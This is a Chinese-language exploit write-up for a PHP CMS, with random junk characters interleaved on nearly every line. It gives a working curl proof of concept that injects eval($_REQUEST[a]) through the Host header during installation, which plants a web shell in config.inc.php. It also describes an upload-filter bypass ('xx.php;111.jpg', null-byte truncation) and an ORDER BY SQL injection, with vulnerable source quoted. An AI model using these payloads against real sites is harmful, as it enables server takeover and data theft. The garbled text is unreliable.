注入:; e" T: _, Y/ Q. W1 u- ?6 }) N& G
: x( m: c. h$ m: {+ F
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ G* k" Q; ?. ^3 R7 _8 ^4 d - P, s$ P) S% L2 D9 ]/ l; C
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 M9 W$ I0 [% ]! O+ A/ K* s鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 T1 B9 r! S: H- i. i
! |9 o. z7 j q) V+ I+ \: F# i! X虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& `3 b ~9 z+ G/ L9 T0 W
7 B/ J1 ?& o# u# l3 @% \5 J4 T
分析:
4 C5 @) E% y) V9 G# J! P 0 b3 q7 x' d7 Q, \$ U$ W
# ^6 z! `5 y2 s
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. t! U+ U: \1 L6 k+ B1 J
# P% U" q; g: E5 F7 ~0 ` $filestr = fread(fopen($SysConfigFile, 'r'),30000);5 o7 M$ @% K C1 W: j
$filestr=str_replace(" ","",$filestr);
3 ~( u: ~6 E; f2 C $filestr=str_replace("DefaultDbHost",$dbhost,$filestr); S3 s# I1 {' t
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
& _, ]+ b: M O! t5 ^$ `+ g $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);# r- \! } t2 N1 ~* q' A
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);& ], x+ o/ Y0 c8 s6 e; G, ~! n1 D4 e
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
! ]* U" M& n' j' o" v9 f $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);9 l4 E& \; e( v) I
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
& |+ m t- V n$ j& i
; m. R- A7 `3 w fwrite(fopen($ConFile,"w"),$filestr,30000);5 B8 l4 m: [; ^6 i f
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
! x2 z* n% w5 M 4 ^3 U7 P6 ^. ]0 `" a) f
poc:
4 w( w+ b! X7 S! S$ R+ b 9 F* C$ B/ A# }9 E* U5 @; ]! P
?: w. L: H7 q" W& j2 z
1
/ t8 r. B1 K2 ^' p2 Lcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# k) e- | [! S8 a, n7 M
shell地址: /config.inc.php
4 C5 s4 d; N+ m b9 j; x' K跟之前的 phpcms一样 需要远程数据库7 Q+ C1 b4 l) d5 c; O& {
9 j! p, y& k" P5 T4 O
——————————————————–
1 N& a6 @9 ]+ ]上传漏洞(需要进后台):. D; k7 k i; S
漏洞文件: /kedit/upload_cgi/upload.php# [6 r n1 L1 }4 J& H5 i/ H$ J
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; _% B; D6 g: A) J$ `( r - P; t' P: X! g7 w* b
# x' K- s3 L) l; G# {
<?php
4 i; j h3 E9 t* V2 y define("ROOTPATH", "../../");0 g6 Z4 u. h; D3 k$ h7 |
include(ROOTPATH."includes/admin.inc.php");
! C. S! _ J8 ~. ` NeedAuth(0);
. R! N7 K* Q7 q2 h* p8 C
1 O) w6 I: Q4 b8 U+ b) h/ e. V" R1 I $dt=date("Ymd",time());* m2 z+ n. p6 G O2 o3 d) L
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
; O' X/ E6 {* Y& t7 H @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 h0 }, B7 r9 Q; D } v" W+ a3 W* N0 N6 H% \" D$ t
! J; g9 K& N. ^& R# u //文件保存目录路径# k G8 B) j1 P. o8 x
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
6 R1 ~" u7 T }) @# g% B( I echo $save_path;
0 p R* E; J+ H1 L6 S3 [1 q( n //文件保存目录URL8 E" z9 N% f7 ~+ a
$save_url = '../../'.$_POST['attachPath'].$dt.'/';( _! t- V% n. u1 Y
; [ P3 W" J. L, F1 K, g/ i //定义允许上传的文件扩展名
3 Q0 X% F/ `) V* O; { $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
( ?7 P' s, z x. |0 k & q7 |3 L: b" \9 i3 L
//最大文件大小
# \' Y" Y; k! E& F0 e% B! L4 i $max_size = 1000000;
0 a' g" m) z/ C/ J
" F7 _1 p% y# `; R8 } //更改目录权限! T' i' i5 H# `0 T
@mkdir($save_path, 0777);2 K) M8 ^3 p; B. H' M7 Z
* J; J0 a' U% t4 }4 C8 X
//文件的全部路径( `" B" t% `: }# Z
$file_path = $save_path.$_POST['fileName']; //保存文件名: ^, ]6 Y0 s+ a+ f
, e: V0 b( G1 ^
//文件URL; e a: H: m$ l* y# X5 S' U y1 Z
$file_url = $save_url.$_POST['fileName'];
5 x! K% X* n* a) A//有上传文件时* M/ l7 l) J# B/ Z" t0 K
if (empty($_FILES) === false) {
6 C$ w P8 ~5 }2 }$ g* J
4 c- z2 z2 W6 Y4 I" Z0 I& `0 ] //原文件名
- Y" Q5 s1 D( A1 Y $file_name = $_FILES['fileData']['name'];
- \- N0 }* N4 b* F/ @; L v5 C' J //服务器上临时文件名
( C. |* t; x8 [8 C4 R $tmp_name = $_FILES['fileData']['tmp_name'];
7 @" I+ F5 g o& j% |; y5 }! e //文件大小
) k+ _# P R7 M/ k: m( M $file_size = $_FILES['fileData']['size'];9 @. D1 C4 k( t1 A. O
//检查目录
5 H7 O$ t6 W* T7 J* v, x- l if (@is_dir($save_path) === false) {+ n8 g1 p& p+ W$ {4 \8 H
alert("上传目录不存在。");6 ], o5 K) u9 T& ^9 b& Y s. G
}3 S" {9 u/ R. v2 e% |
//检查目录写权限
. h& f8 }1 W# r: w if (@is_writable($save_path) === false) {
3 F6 j7 F" f, A5 V8 b; @5 m2 D alert("上传目录没有写权限。");
5 c v: Z1 j7 Y }; H( @5 _# v% S2 \: I% i$ f" Z
//检查是否已上传1 m( s' X0 _ N. q2 Q! F
if (@is_uploaded_file($tmp_name) === false) {
# S/ W3 e" P; L0 t: t alert("临时文件可能不是上传文件。");. T6 ]5 z0 O& [ A a" G
}- L" Z: f; J% |4 L
//检查文件大小- E, J) o: d; ~3 S4 `) w2 V+ C
if ($file_size > $max_size) {/ p& V9 C& ]; c6 g8 r; v
alert("上传文件大小超过限制。");% u, `1 }! M3 P* k) V# Q
}
& S% @; n- @# v: n, i! D //获得文件扩展名; g5 _* R5 h0 H; A, G! V% [* V+ L
$temp_arr = explode(".", $_POST['fileName']);
* d. U) `; ?" V0 x3 t- M! x $file_ext = array_pop($temp_arr);
- k8 L7 z/ u# X: q+ z $file_ext = trim($file_ext);
- O# W+ V+ _* t0 n0 p$ |/ K( t $file_ext = strtolower($file_ext);6 t' Q5 @, B S8 D {; p f
: G9 F3 z! C' x! b5 }9 D5 e; W7 D4 t+ S
//检查扩展名 Y2 ` ^: _: j3 h7 z
if (in_array($file_ext, $ext_arr) === false) { m0 R. x& F- J) X9 r u9 b
alert("上传文件扩展名是不允许的扩展名。");
& M8 Y4 `; y7 \9 C; K: X }/ v" H9 a+ r$ s
( N5 m- w5 y) H, g7 U; g //移动文件
, k& n2 _) A3 w% Y* z9 K //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
* I5 g4 V0 E; Y1 S, M% F$ @2 } if (move_uploaded_file($tmp_name, $file_path) === false) {
9 q6 n6 `7 B* W" X$ h' }1 { alert("上传文件失败。");
, T7 P4 U& s) r% v9 |6 b }
1 Z2 [5 E U) M, L 3 k; R& p5 k# |7 y6 B1 w7 J
@chmod($file_path,0666);
* a1 a) J3 P4 A7 b v3 q: F* H
) l$ s% T6 I+ |" z: J ?>
/ P6 I" C) ^. a6 _( F. A& L8 D抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 C$ @) d! V1 c3 z3 H1 G
I# K0 T; `5 S' Z/ q9 _apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 H# C- M: g1 Y( k/ r
/ b- d! m+ D1 a" }7 Z, Z——————————————————
- Y* y" Y% P2 y. |. {注入漏洞:
( L" s9 h. l; }/ }3 F' V漏洞文件:search/module/search.php2 t9 H# N# u0 M) @! X: K
/search/index.php?key=1&myord=1 [sqlinjection]. T! w( v6 _% Z8 H6 S8 _! p
$ P$ `$ C& Q! ^% k% _
% m* A. c+ H/ j# X& ]- |, K/ ^ u
<?php
% q, z. i2 x& w5 P9 n // ... 省略 n 行...
" w: z; _& |! T3 {) L //第18行:
8 H6 h- S6 P; G) x7 |9 r/ f' d; P8 _ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响1 \) s9 q2 B# Z1 o4 \( J+ V
$page=htmlspecialchars($_GET["page"]);! }& o0 B" ^' [+ J: Q8 p/ h2 ?
$myord=htmlspecialchars($_GET["myord"]);
4 ?0 a; X& X2 I r! @ ; E x% ^1 L; U& g! Q
// ... 省略 n 行...
# L: j6 R5 O2 X9 _ $key,$myord 两个参数带入查询
- _3 q# e- \. F8 m% F B //第47行 $key:
5 G1 Q3 N* p4 B8 G! q* `5 ~. w 4 |5 f8 J0 V$ o" Q! k# V
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
; F0 P# C; t/ C) b( B% A & \& \8 i( u7 {2 t4 z0 p
//第197行 $myord8 y& A# G' \* D( {0 c- P4 s8 j8 u
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入1 n1 S+ F$ T& M# \
7 o* @) G) c# @
?>
4 t5 Y4 a, M% K5 ^! `+ B |